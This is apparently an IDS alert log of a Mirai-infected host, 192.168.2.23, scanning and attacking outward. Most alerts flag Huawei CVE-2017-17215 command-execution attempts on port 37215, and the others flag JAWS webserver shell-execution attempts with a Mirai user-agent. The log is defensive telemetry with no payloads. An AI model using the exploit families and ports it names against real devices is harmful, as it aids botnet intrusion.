2024-12-03T21:31:18.779886+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43838	41.232.214.237	37215	TCP
2024-12-03T21:31:18.779888+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52640	156.76.135.99	37215	TCP
2024-12-03T21:31:18.786200+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47100	41.151.33.62	37215	TCP
2024-12-03T21:31:18.786303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38940	41.114.142.62	37215	TCP
2024-12-03T21:31:18.786421+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51186	41.246.240.27	37215	TCP
2024-12-03T21:31:18.794942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38356	156.205.147.98	37215	TCP
2024-12-03T21:31:18.801345+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56124	197.93.255.184	37215	TCP
2024-12-03T21:31:18.801815+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44076	41.241.96.154	37215	TCP
2024-12-03T21:31:18.810372+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38594	197.114.49.191	37215	TCP
2024-12-03T21:31:18.810549+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56792	156.94.69.180	37215	TCP
2024-12-03T21:31:18.810665+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41900	41.202.172.32	37215	TCP
2024-12-03T21:31:18.810771+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40050	197.196.154.98	37215	TCP
2024-12-03T21:31:18.810974+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53308	156.237.26.238	37215	TCP
2024-12-03T21:31:18.811175+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48780	156.134.15.209	37215	TCP
2024-12-03T21:31:18.815674+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59972	156.25.219.222	37215	TCP
2024-12-03T21:31:18.824877+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53386	41.102.71.232	37215	TCP
2024-12-03T21:31:18.825111+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49588	156.158.219.142	37215	TCP
2024-12-03T21:31:18.831258+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52804	197.72.25.200	37215	TCP
2024-12-03T21:31:18.840606+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33086	197.25.6.198	37215	TCP
2024-12-03T21:31:18.840619+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39674	156.90.215.158	37215	TCP
2024-12-03T21:31:18.856330+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36796	156.32.215.71	37215	TCP
2024-12-03T21:31:18.856460+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58510	41.246.246.62	37215	TCP
2024-12-03T21:31:18.856629+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56170	197.94.213.94	37215	TCP
2024-12-03T21:31:18.856813+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40298	156.252.187.200	37215	TCP
2024-12-03T21:31:18.856992+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58474	156.170.181.102	37215	TCP
2024-12-03T21:31:18.987680+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48622	41.235.28.90	37215	TCP
2024-12-03T21:31:19.003340+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42090	197.43.173.65	37215	TCP
2024-12-03T21:31:19.020239+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36794	197.122.32.82	37215	TCP
2024-12-03T21:31:19.034692+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43170	41.132.226.136	37215	TCP
2024-12-03T21:31:19.059756+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48516	197.77.8.60	37215	TCP
2024-12-03T21:31:19.059949+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52542	156.98.207.15	37215	TCP
2024-12-03T21:31:19.222044+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40094	20.235.63.68	80	TCP
2024-12-03T21:31:19.222044+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40094	20.235.63.68	80	TCP
2024-12-03T21:31:19.302827+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58406	157.172.185.13	80	TCP
2024-12-03T21:31:19.302827+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58406	157.172.185.13	80	TCP
2024-12-03T21:31:19.302935+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49538	194.92.243.201	80	TCP
2024-12-03T21:31:19.302935+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49538	194.92.243.201	80	TCP
2024-12-03T21:31:19.316098+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57684	119.232.26.230	80	TCP
2024-12-03T21:31:19.316098+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57684	119.232.26.230	80	TCP
2024-12-03T21:31:19.325090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48238	223.51.190.43	80	TCP
2024-12-03T21:31:19.325090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48238	223.51.190.43	80	TCP
2024-12-03T21:31:19.846243+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40540	49.12.65.52	80	TCP
2024-12-03T21:31:19.846243+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40540	49.12.65.52	80	TCP
2024-12-03T21:31:20.079714+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44086	156.65.71.38	37215	TCP
2024-12-03T21:31:20.144146+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50688	41.101.143.166	37215	TCP
2024-12-03T21:31:20.170411+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41444	41.190.33.163	37215	TCP
2024-12-03T21:31:20.176580+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50226	197.167.21.141	37215	TCP
2024-12-03T21:31:20.176660+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43920	41.29.102.55	37215	TCP
2024-12-03T21:31:20.184813+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48902	197.181.181.241	37215	TCP
2024-12-03T21:31:20.184820+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44486	156.192.136.240	37215	TCP
2024-12-03T21:31:20.184998+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55280	41.178.206.25	37215	TCP
2024-12-03T21:31:20.222145+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49166	156.218.152.89	37215	TCP
2024-12-03T21:31:20.231012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45274	197.25.193.130	37215	TCP
2024-12-03T21:31:20.231459+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45728	197.41.63.23	37215	TCP
2024-12-03T21:31:20.231579+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49022	156.35.137.60	37215	TCP
2024-12-03T21:31:20.236089+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35070	156.243.0.98	37215	TCP
2024-12-03T21:31:20.246931+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55812	25.87.52.217	80	TCP
2024-12-03T21:31:20.246931+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55812	25.87.52.217	80	TCP
2024-12-03T21:31:20.262583+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55498	197.162.156.92	37215	TCP
2024-12-03T21:31:20.800208+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41104	197.174.39.138	37215	TCP
2024-12-03T21:31:20.815746+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49126	156.188.189.74	37215	TCP
2024-12-03T21:31:20.832698+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33714	41.9.12.137	37215	TCP
2024-12-03T21:31:20.832842+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38540	197.19.215.18	37215	TCP
2024-12-03T21:31:20.862756+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57708	41.69.219.95	37215	TCP
2024-12-03T21:31:20.878394+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34794	197.64.129.106	37215	TCP
2024-12-03T21:31:20.887485+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53774	197.176.24.172	37215	TCP
2024-12-03T21:31:20.894203+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46628	197.117.100.236	37215	TCP
2024-12-03T21:31:20.894228+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34656	156.131.1.254	37215	TCP
2024-12-03T21:31:20.894352+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39540	41.206.208.168	37215	TCP
2024-12-03T21:31:20.894593+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53264	197.140.216.5	37215	TCP
2024-12-03T21:31:20.894892+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33954	197.121.238.36	37215	TCP
2024-12-03T21:31:20.894906+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58304	156.170.78.130	37215	TCP
2024-12-03T21:31:20.895294+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56220	197.2.74.59	37215	TCP
2024-12-03T21:31:20.895303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40818	41.175.127.159	37215	TCP
2024-12-03T21:31:20.903188+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39910	41.250.20.215	37215	TCP
2024-12-03T21:31:20.903189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55140	156.156.205.112	37215	TCP
2024-12-03T21:31:20.903437+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37284	197.79.237.65	37215	TCP
2024-12-03T21:31:20.903670+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44710	41.47.217.131	37215	TCP
2024-12-03T21:31:20.903816+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34394	156.90.151.47	37215	TCP
2024-12-03T21:31:20.904090+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45932	156.189.217.172	37215	TCP
2024-12-03T21:31:20.904264+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45394	197.135.64.141	37215	TCP
2024-12-03T21:31:20.904369+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43124	197.236.149.18	37215	TCP
2024-12-03T21:31:20.904515+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40722	197.13.45.242	37215	TCP
2024-12-03T21:31:20.904627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52592	197.236.0.227	37215	TCP
2024-12-03T21:31:20.909608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53420	197.5.139.176	37215	TCP
2024-12-03T21:31:20.909787+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41456	197.84.102.240	37215	TCP
2024-12-03T21:31:20.910030+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48890	41.229.216.240	37215	TCP
2024-12-03T21:31:20.918980+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59398	41.72.79.133	37215	TCP
2024-12-03T21:31:20.925015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35810	41.224.101.22	37215	TCP
2024-12-03T21:31:20.925414+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59758	197.181.234.198	37215	TCP
2024-12-03T21:31:20.925740+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49086	156.43.154.242	37215	TCP
2024-12-03T21:31:20.934492+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42844	41.223.158.155	37215	TCP
2024-12-03T21:31:20.934690+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55474	41.101.195.38	37215	TCP
2024-12-03T21:31:20.934836+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58156	41.218.4.159	37215	TCP
2024-12-03T21:31:20.935120+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52950	197.226.23.117	37215	TCP
2024-12-03T21:31:20.935304+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59932	41.158.40.36	37215	TCP
2024-12-03T21:31:20.935450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41034	156.84.204.14	37215	TCP
2024-12-03T21:31:20.935655+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40490	197.204.217.111	37215	TCP
2024-12-03T21:31:20.935783+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43444	156.90.104.81	37215	TCP
2024-12-03T21:31:20.956345+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43170	41.194.214.146	37215	TCP
2024-12-03T21:31:20.965646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34002	156.81.114.141	37215	TCP
2024-12-03T21:31:20.972004+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52844	41.53.3.14	37215	TCP
2024-12-03T21:31:20.981261+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50592	41.136.55.166	37215	TCP
2024-12-03T21:31:20.981266+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51328	197.87.10.204	37215	TCP
2024-12-03T21:31:20.981406+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38572	197.95.31.106	37215	TCP
2024-12-03T21:31:20.981490+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33604	41.237.198.60	37215	TCP
2024-12-03T21:31:20.981646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39462	197.27.73.2	37215	TCP
2024-12-03T21:31:21.083385+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58718	41.71.32.244	37215	TCP
2024-12-03T21:31:21.083607+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35628	197.152.191.108	37215	TCP
2024-12-03T21:31:21.092907+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44480	41.88.176.204	37215	TCP
2024-12-03T21:31:21.106550+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52296	197.64.33.153	37215	TCP
2024-12-03T21:31:21.206479+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38324	197.76.52.95	37215	TCP
2024-12-03T21:31:21.221965+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51350	41.35.164.160	37215	TCP
2024-12-03T21:31:21.262582+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57780	41.167.61.205	37215	TCP
2024-12-03T21:31:21.278221+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33078	156.173.204.169	37215	TCP
2024-12-03T21:31:21.472336+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60302	68.192.168.104	80	TCP
2024-12-03T21:31:21.472336+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60302	68.192.168.104	80	TCP
2024-12-03T21:31:21.472337+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39886	172.75.69.51	80	TCP
2024-12-03T21:31:21.472337+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39886	172.75.69.51	80	TCP
2024-12-03T21:31:21.497352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34048	204.102.109.115	80	TCP
2024-12-03T21:31:21.497352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34048	204.102.109.115	80	TCP
2024-12-03T21:31:21.543966+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35394	1.2.186.211	80	TCP
2024-12-03T21:31:21.543966+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35394	1.2.186.211	80	TCP
2024-12-03T21:31:21.544052+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54740	104.144.206.244	80	TCP
2024-12-03T21:31:21.544052+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54740	104.144.206.244	80	TCP
2024-12-03T21:31:21.559797+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50598	164.76.197.63	80	TCP
2024-12-03T21:31:21.559797+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50598	164.76.197.63	80	TCP
2024-12-03T21:31:22.050182+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52476	41.163.75.88	37215	TCP
2024-12-03T21:31:22.108189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55432	197.168.199.108	37215	TCP
2024-12-03T21:31:22.206700+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34482	87.247.248.58	80	TCP
2024-12-03T21:31:22.206700+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34482	87.247.248.58	80	TCP
2024-12-03T21:31:22.232335+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47444	75.117.159.245	80	TCP
2024-12-03T21:31:22.232335+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47444	75.117.159.245	80	TCP
2024-12-03T21:31:22.232349+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46530	65.211.64.176	80	TCP
2024-12-03T21:31:22.232349+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46530	65.211.64.176	80	TCP
2024-12-03T21:31:22.232352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54396	184.137.225.161	80	TCP
2024-12-03T21:31:22.232352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54396	184.137.225.161	80	TCP
2024-12-03T21:31:22.232428+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60566	41.63.192.93	80	TCP
2024-12-03T21:31:22.232428+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60566	41.63.192.93	80	TCP
2024-12-03T21:31:22.232511+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55156	145.230.14.157	80	TCP
2024-12-03T21:31:22.232511+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55156	145.230.14.157	80	TCP
2024-12-03T21:31:22.237444+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48798	206.83.66.253	80	TCP
2024-12-03T21:31:22.237444+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48798	206.83.66.253	80	TCP
2024-12-03T21:31:22.237586+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43614	88.157.184.97	80	TCP
2024-12-03T21:31:22.237586+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43614	88.157.184.97	80	TCP
2024-12-03T21:31:22.278229+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50754	24.157.0.28	80	TCP
2024-12-03T21:31:22.278229+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50754	24.157.0.28	80	TCP
2024-12-03T21:31:22.278360+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50426	86.20.226.157	80	TCP
2024-12-03T21:31:22.278360+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50426	86.20.226.157	80	TCP
2024-12-03T21:31:22.278552+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38890	113.153.214.234	80	TCP
2024-12-03T21:31:22.278552+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38890	113.153.214.234	80	TCP
2024-12-03T21:31:22.300278+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60982	197.61.169.38	37215	TCP
2024-12-03T21:31:22.347427+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35566	156.21.187.6	37215	TCP
2024-12-03T21:31:22.356480+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55006	156.28.145.105	37215	TCP
2024-12-03T21:31:22.356629+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33664	197.107.206.30	37215	TCP
2024-12-03T21:31:22.362586+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41428	156.95.251.157	37215	TCP
2024-12-03T21:31:22.378241+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33764	156.158.192.156	37215	TCP
2024-12-03T21:31:22.378540+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42980	41.148.217.25	37215	TCP
2024-12-03T21:31:22.387419+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35552	156.50.215.55	37215	TCP
2024-12-03T21:31:23.206626+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56452	197.147.77.116	37215	TCP
2024-12-03T21:31:23.221976+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47226	41.30.80.68	37215	TCP
2024-12-03T21:31:23.221995+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59140	41.86.26.27	37215	TCP
2024-12-03T21:31:23.222059+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36558	156.7.136.112	37215	TCP
2024-12-03T21:31:23.222233+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53580	41.112.2.239	37215	TCP
2024-12-03T21:31:23.222329+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48898	156.215.253.198	37215	TCP
2024-12-03T21:31:23.222435+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45270	41.154.197.82	37215	TCP
2024-12-03T21:31:23.223050+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35294	156.192.225.78	37215	TCP
2024-12-03T21:31:23.231382+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35576	156.160.179.123	37215	TCP
2024-12-03T21:31:23.231602+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51820	197.127.252.201	37215	TCP
2024-12-03T21:31:23.231615+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60562	156.150.99.35	37215	TCP
